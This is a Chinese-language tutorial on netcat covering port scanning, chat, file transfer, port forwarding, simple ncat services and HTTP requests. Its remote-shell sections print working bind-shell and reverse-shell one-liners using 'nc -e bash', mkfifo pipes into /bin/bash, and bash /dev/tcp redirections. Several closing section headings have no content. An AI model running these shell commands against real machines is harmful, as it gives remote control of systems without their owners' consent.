nc的使用和原理

nc的简介

nc 是 netcat 的缩写。

nc 是一个用于处理网络连接的工具。

netcat 的原始版本是一个 Unix 程序。 最后一个版本 (1.10) 于 1996 年 4 月发布。原作者叫做 Hobbit 。

现在的 nc 有很多种实现。下面是常见的五种实现。

多数情况下 nc 或 netcat 是指 GNU 版 或 openbsd 版,一般系统自带的是 GNU 版

socat 和 ncat 和 nc-openbsd 都支持 tls 。 从功能上看。 BusyBox nc < nc-traditional < nc-openbsd < ncat < socat

nc的使用

nc 扫描端口

nc -v 127.0.0.1 801
nc -v -i 1 127.0.0.1 801
nc -v -z -i 1 127.0.0.1 801
nc -v -z -i 1 127.0.0.1 800-900
不是所有版本的nc都支持 i z 参数,不是所有版本的 nc 支持批量端口扫描

nc 实现聊天

最简单的一对一
    nc -l 801
    nc 127.0.0.1 801

nc 传输文件

接收端先运行一个 nc
    nc -l 801 > output.txt
发送端再运行一个 nc
    nc 127.0.0.1 801 < input.txt

nc 实现一个转发服务

nc 自己调用自己
nc -v -l -k -p 9901 -e "nc 127.0.0.1 9902"
nc -v -l -k -p 9901 -e "bash -c \"nc 127.0.0.1 9902\""
使用管道
mkfifo pipe1;cat pipe1 | nc -v -l -p 9901 | /bin/bash -c "nc 127.0.0.1 9902" 2>&1 1>pipe1;

nc 实现远程 shell

远程 shell
    nc -v -l -p 9901 -e "bash"
控制端
    nc -v 127.0.0.1 9901
即使没有 -e 参数,也能通过管道实现各种奇技淫巧,虽然管道的奇技淫巧只能处理单个连接
    mkfifo pipe1;cat pipe1 | nc -v -l -p 9901 | /bin/bash 2>&1 1>pipe1;

nc 实现远程反向 shell

控制端先运行一个 nc
    nc -v -l -p 9901
目标机器上连接控制机器的 9901 端口,并将其shell绑定到该连接上
    nc -v 127.0.0.1 9901 -e "bash"
    mkfifo pipe1; cat pipe1 | nc -v 127.0.0.1 9901 | /bin/bash 2>&1 1>pipe1;
    exec 3<>/dev/tcp/127.0.0.1/9901; exec 0>&3; exec 1<&3; /bin/bash 2>&1;
    exec 3<>/dev/tcp/127.0.0.1/9901; /bin/bash 2>&1 0>&3 1<&3; 这种写法似乎更好

用 ncat 实现最简单的五个协议

参考这个网页
https://nmap.org/ncat/guide/ncat-simple-services.html

echo
    while read -r line; do echo "$line"; done
    echo 123 | while read -r line; do echo "$line"; done
    echo -e "123\n321" | while read -r line; do echo "$line"; done
    nc -l -k -p 9901 -e "cat $@"
daytime
    date -u "+%d %b %y %k:%M:%S %z"
    date -u --rfc-2822
    date -u --rfc-3339="seconds"
    date -u --iso-8601="seconds"
time
    date +%s | awk '{printf "%#x", $1+2209017600}' | xxd -r
discard
    while read -r line; do echo "$line" > /dev/null; done
chargen
    lineLimit=72;offset=0;count=0;while true; do for ((i=0; i<$lineLimit; i++)); do tag=$((($i + $offset) % 95)); printf "\x$(printf %x $(($tag + 32)))"; done; offset=$(($offset + 1)); if [ $offset -ge 95 ]; then offset=0; fi; printf "\n";count=$(($count + 1)); done;

nc 如何模拟 telnet 客户端?

nc 也可以像 telnet 那样模拟 http 客户端

nc www.baidu.com 80
连接后,快速地输入 GET / HTTP/1.0 然后连续输入两个回车,就能返回网页内容
又或者直接一句命令
    printf 'GET / HTTP/1.0\r\nHost:www.baidu.com\r\n\r\n' | nc www.baidu.com 80

nc 如何模拟 http 服务器

windows 如何使用 nc

nc的原理

大致原理

nc 的源码

如何实现一个 nc

用 python 和 php 实现一个 nc

如果 bash 有 /usr/lib/bash/accept 这个特性,那么直接用 bash 实现一个 nc 也不是不可以的。 客户端部分用 exec /dev/tcp/$host/$port 和 exec /dev/udp/$host/$port 来实现, 服务端部分用 /usr/lib/bash/accept 来实现。 只有 bash 搞网络编程还是有太多限制了,因为 socket 很多选项无法通过 bash 设置。